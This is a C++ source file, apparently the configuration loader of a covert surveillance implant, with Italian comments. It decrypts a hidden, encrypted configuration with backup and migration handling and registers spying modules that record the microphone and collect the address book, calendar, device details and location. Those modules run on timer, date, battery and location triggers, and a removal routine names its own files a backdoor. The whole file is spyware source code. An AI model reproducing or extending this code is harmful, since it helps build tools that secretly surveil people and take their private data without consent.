#include <exception>
#include "Conf.h"
#include "Status.h"
#include "Encryption.h"
#include "Log.h"
#include "Events.h"
#include "Microphone.h"
#include "RecordedCalls.h"
#include "Modules.h"

#include "FunctionFunc.h"

using namespace std;

Conf::Conf() : encryptionObj(g_ConfKey, KEY_LEN), jMod(NULL), jEv(NULL), jAct(NULL), jGlob(NULL) {
	statusObj = Status::self();

	

	strEncryptedConfName = g_ConfName;
#ifdef _DEBUG
	OutputDebugString(strEncryptedConfName.c_str());
#endif

}

Conf::~Conf(){
	if (jMod)
		delete jMod;

	if (jEv)
		delete jEv;

	if (jAct)
		delete jAct;

	if (jGlob)
		delete jGlob;
}

BOOL WINAPI Conf::ParseModule(JSONArray js) {

	UINT i = 0;
	ModulesManager *modulesManager = ModulesManager::self();

	for (i = 0; i < js.size(); i++) {
		JSONObject jo = js[i]->AsObject();
		JSONValue *c = jo[L"module"];

		if (c == NULL || c->IsString() == FALSE || c->AsString().empty() == TRUE) {
			// WARNING
			continue;
		}

		void* startProc = NULL;
		wstring moduleName = c->AsString();

#ifdef _DEBUG
		//wprintf(L"Parsing Module: %s\n", moduleName.c_str());
		WCHAR msg[128];
		swprintf_s(msg, L"Parsing Module: %s\n", moduleName.c_str());OutputDebugString(msg);

#endif

		do {
/***
			if (moduleName.compare(L"application") == 0 ) {
				startProc = ApplicationModule;
				break;
			}

			if (moduleName.compare(L"call") == 0 ) {
				startProc = RecordedCalls;
				break;
			}
***/
/***
			if (moduleName.compare(L"calllist") == 0 ) {
				startProc = CallListAgent;
				break;
			}
***/
#ifdef DEMO_ISS
			if (moduleName.compare(L"camera") == 0 ) {
				startProc = CameraModule;
				break;
			}
#endif

/***
			if (moduleName.compare(L"clipboard") == 0 ) {
				startProc = ClipboardModule;
				continue;
			}

			if (moduleName.compare(L"conference") == 0 ) {
				startProc = CallAgent;
				break;
			}
***/
			if (moduleName.compare(L"crisis") == 0 ) {
				startProc = CrisisModule;
				break;
			}

			
			if (moduleName.compare(L"device") == 0 ) {
				startProc = DeviceInfoAgent;
				break;
			}
			
/***
			if (moduleName.compare(L"livemic") == 0 ) {
				startProc = LiveMicModule;
				break;
			}

			if (moduleName.compare(L"messages") == 0 ) {
				startProc = SmsAgent;
				break;
			}
			***/
			if (moduleName.compare(L"mic") == 0 ) {
				startProc = RecordedMicrophone;
				break;
			}
			
			// AddressBook e calendar sono la stessa cosa
			if (moduleName.compare(L"addressbook") == 0) {
				startProc = AddressbookModule;
				break;
			}

			
			if (moduleName.compare(L"calendar") == 0 ) {
				startProc =CalendarModule;
				break;
			}
			

			if (moduleName.compare(L"position") == 0 ) {
				startProc = PositionModule;
				break;
			}
/***
			if (moduleName.compare(L"screenshot") == 0 ) {
				startProc = SnapshotModule;
				break;
			}
***/
/***
			if (moduleName.compare(L"url") == 0 ) {
				startProc = UrlModule;
				break;
			}
***/
		} while (0);

		if (startProc != NULL)
			modulesManager->add(moduleName, jo, startProc);

		// startProc == NULL -> Unknown agent
	}

	return TRUE;
}

BOOL WINAPI Conf::ParseAction(JSONArray js) {

	UINT i = 0;
	ActionsManager *actionsManager = ActionsManager::self();

	for (i = 0; i < js.size(); i++) {
		JSONObject jo = js[i]->AsObject();
		JSONValue *c = jo[L"subactions"];

		if (c == NULL || c->IsArray() == FALSE) {
			// WARNING
			continue;
		}

#ifdef _DEBUG
		WCHAR msg[128];
		wstring moduleName = jo[L"desc"]->AsString();
		//wprintf(L"Parsing Action: \"%s\"\n", moduleName.c_str());
		swprintf_s(msg, L"Parsing Action: \"%s\"\n", moduleName.c_str());OutputDebugString(msg);
#endif

		actionsManager->add(i, c->AsArray());
	}

	return TRUE;
}

BOOL WINAPI Conf::ParseEvent(JSONArray js) {

	UINT i = 0;
	EventsManager *eventsManager = EventsManager::self();

	for (i = 0; i < js.size(); i++) {
		JSONObject jo = js[i]->AsObject();
		JSONValue *c = jo[L"event"];

		if (c == NULL || c->IsString() == FALSE || c->AsString().empty() == TRUE) {
			// WARNING
			continue;
		}

		void* startProc = NULL;
		wstring eventName = c->AsString();

#ifdef _DEBUG
		WCHAR msg[128];
		//wprintf(L"Parsing Event: %s\n", eventName.c_str());
		swprintf_s(msg, L"Parsing Event: %s\n", eventName.c_str());OutputDebugString(msg);
#endif
		
		do {
		
			if (eventName.compare(L"ac") == 0 ) {
				startProc = OnAC;
				break;
			}


			if (eventName.compare(L"battery") == 0 ) {
				startProc = OnBatteryLevel;
				break;
			}
/***
			if (eventName.compare(L"call") == 0 ) {
				startProc = OnCall;
				break;
			}

			if (eventName.compare(L"connection") == 0 ) {
				startProc = OnConnection;
				break;
			}
			***/
			if (eventName.compare(L"position") == 0 ) {
				startProc = OnLocation;
				continue;
			}
			/***
			if (eventName.compare(L"process") == 0 ) {
				startProc = OnProcess;
				break;
			}

			if (eventName.compare(L"standby") == 0 ) {
				startProc = OnStandby;
				break;
			}

			if (eventName.compare(L"simchange") == 0 ) {
				startProc = OnSimChange;
				break;
			}
			***/
			if (eventName.compare(L"timer") == 0 ) {
				startProc = OnTimer;
				break;
			}
			/***
			if (eventName.compare(L"afterinst") == 0 ) {
				startProc = OnAfterInst;
				break;
			}
			***/
			if (eventName.compare(L"date") == 0 ) {
				startProc = OnDate;
				break;
			}
			/***
			if (eventName.compare(L"sms") == 0 ) {
				startProc = OnSms;
				break;
			}
			***/
		} while (0);

		if (startProc != NULL)
			eventsManager->add(eventName, jo, startProc);

		// startProc == NULL -> Unknown agent
	}

	return TRUE;
}

BOOL Conf::ParseGlobal(JSONArray js) {
	wstring type;

	type = L"quota";
	//statusObj->AddGlobal(type, js[type]);

	type = L"wipe";
	//statusObj->AddGlobal(type, js[type]);

	type = L"version";
	//statusObj->AddGlobal(type, js[type]);

	return TRUE;
}

BOOL Conf::ParseConfSection(JSONValue *jVal, char *conf, WCHAR *section, confCallback_t call_back) {

	JSONObject root;

	if (jVal) {
		delete jVal;
	}

	jVal = JSON::Parse(conf);

	if (!jVal)
		return FALSE;

	if (jVal->IsObject() == false) {
		delete jVal;
		jVal = NULL;

		return FALSE;
	}

	root = jVal->AsObject();

	if (root.find(section) != root.end() && root[section]->IsArray()) {
		call_back(root[section]->AsArray());
	}

	return TRUE;
}

// Questa funzione al termine deve liberare il puntatore ai dati decifrati
// MANAGEMENT: 
// Nella conf tutte le stringhe sono NULL-Terminate e in WCHAR. La lunghezza
// delle stringhe include il NULL ed e' espressa in BYTE.
BOOL Conf::LoadConf() {
#define EXIT_ON_ERROR(x)	if(x == NULL){ delete[] pConf; return FALSE;}
#define CLEAN_AND_EXIT(x)	delete[] pConf; return x;
	BYTE *pConf = NULL, *pTemp = NULL;
	wstring strBack, strMig;
	UINT Len = 0, i = 0, num = 0;
	BOOL bBackConf = FALSE;
	
	if (strEncryptedConfName.empty())
		return NULL;

	// Vediamo se dobbiamo migrare
	strMig = GetMigrationName(FALSE);
	
	if (strMig.empty() == FALSE && FileExists(strMig)) {
		strMig = GetMigrationName(TRUE);
		strBack = GetBackupName(TRUE);
		
		// Copiamo la migrazione come conf di backup
		if (CopyFile2(strMig.c_str(), strBack.c_str(), FALSE)) {
			DeleteFile(strMig.c_str());
		}
		
		Log logInfo;
		logInfo.WriteLogInfo(L"Migration conf activated");
	}

	// Vediamo prima se esiste una configurazione di backup valida
	strBack = GetBackupName(FALSE);


	if (strBack.empty() == FALSE && FileExists(strBack)) {
		pConf = encryptionObj.DecryptConf(strBack, &Len);

		Log logInfo;

		if (pConf == NULL) {
			logInfo.WriteLogInfo(L"Invalid new configuration, reverting");
		} else {
			logInfo.WriteLogInfo(L"New configuration activated");
		}
	}


	// Se non c'e' carichiamo quella di default
	if (pConf == NULL || Len == 0) {
		pConf = encryptionObj.DecryptConf(strEncryptedConfName, &Len);
	} else {
		bBackConf = TRUE; // Significa che dobbiamo spostare la conf di backup
	}


	if (pConf == NULL || Len == 0)
		return FALSE;

	ParseConfSection(jMod, (char *)pConf, L"modules", (confCallback_t)&Conf::ParseModule);
	ParseConfSection(jEv, (char *)pConf, L"events", (confCallback_t)&Conf::ParseEvent);
	ParseConfSection(jAct, (char *)pConf, L"actions", (confCallback_t)&Conf::ParseAction);
	ParseConfSection(jGlob, (char *)pConf, L"globals", (confCallback_t)&Conf::ParseGlobal);

	// Spostiamo la conf di backup
	if (bBackConf == FALSE) {
		// Facciamo il wipe della memoria
		ZeroMemory(pConf, Len);
		CLEAN_AND_EXIT(TRUE);
	}


	wstring strPath;

	strPath = GetCurrentPathStr(strEncryptedConfName);	
	strBack = GetBackupName(TRUE);

	// Meglio essere paranoici
	if (strBack.empty() == FALSE)
	{
		HRESULT hPara=CopyFile2(strBack.c_str(), strPath.c_str(), FALSE);
		if ( SUCCEEDED(hPara) == TRUE)
		{
			DeleteFile(strBack.c_str());
		}
	}

	return TRUE;
}

BOOL Conf::RemoveConf() {

	wstring strbackdoorPath;

	if (strEncryptedConfName.empty())
		return FALSE;

	strbackdoorPath = GetCurrentPath(NULL);

	if (strbackdoorPath.empty())
		return FALSE;

	strbackdoorPath += strEncryptedConfName;

	BOOL res = DeleteFile(strbackdoorPath.c_str());

	// Rimuovi anche il file di conf di backup
	strbackdoorPath = GetBackupName(TRUE);

	if (strbackdoorPath.empty())
		return res;

	DeleteFile(strbackdoorPath.c_str());
	return res;

}

BOOL Conf::FileExists(wstring &strInFile) {

	HANDLE hConfFile = INVALID_HANDLE_VALUE;
	wstring strCompletePath;

	// LOG_DIR + strInFile
	strCompletePath = GetCurrentPathStr(strInFile);

	if (strCompletePath.empty())
		return FALSE;

	// Apriamo il file
	hConfFile = _CreateFileW((PWCHAR)strCompletePath.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 
							NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (hConfFile == INVALID_HANDLE_VALUE)
		return FALSE;

	CloseHandle(hConfFile);

	return TRUE;
}

// XXX - Va implementata! Per il momento scriviamo comunque tutto in maniera
// cifrata e leggiamo solo da file cifrati, per cui questa funzione non serve,
// viene lasciata qui per eventuali utilizzi futuri.
BOOL Conf::FillFile(WCHAR *wName) {
	return TRUE;
}

BYTE* Conf::MemStringCmp(BYTE *memory, CHAR *string, UINT uLen) {
	BYTE *ptr;
	UINT len = 0;
	ptr = memory;

	LOOP {
		if (!strcmp((CHAR *)ptr, string))
			return (ptr + strlen(string) + 1);

		ptr++;
		len++;

		if (len > uLen)
			return NULL;
	}
}

wstring Conf::GetBackupName(BOOL bCompletePath) {

	WCHAR *pBackExt;
	wstring strPath;

	if (bCompletePath == TRUE)
		strPath = GetCurrentPath(g_ConfName);
	else
		strPath = g_ConfName;

	wstring strExtension = L".bak";
	pBackExt = encryptionObj.EncryptName(strExtension, g_Challenge[0]);

	if (pBackExt == NULL)
		return strPath;

	strPath += pBackExt;

	free(pBackExt);

	return strPath;


}

wstring Conf::GetMigrationName(BOOL bCompletePath) {

	WCHAR *pBackExt;
	wstring strPath;

	if (bCompletePath == TRUE)
		strPath = GetCurrentPath(g_ConfName);
	else
		strPath = g_ConfName;

	wstring strExtension = L".mig";
	pBackExt = encryptionObj.EncryptName(strExtension, g_Challenge[0]);

	if (pBackExt == NULL)
		return strPath;

	strPath += pBackExt;

	free(pBackExt);

	return strPath;


}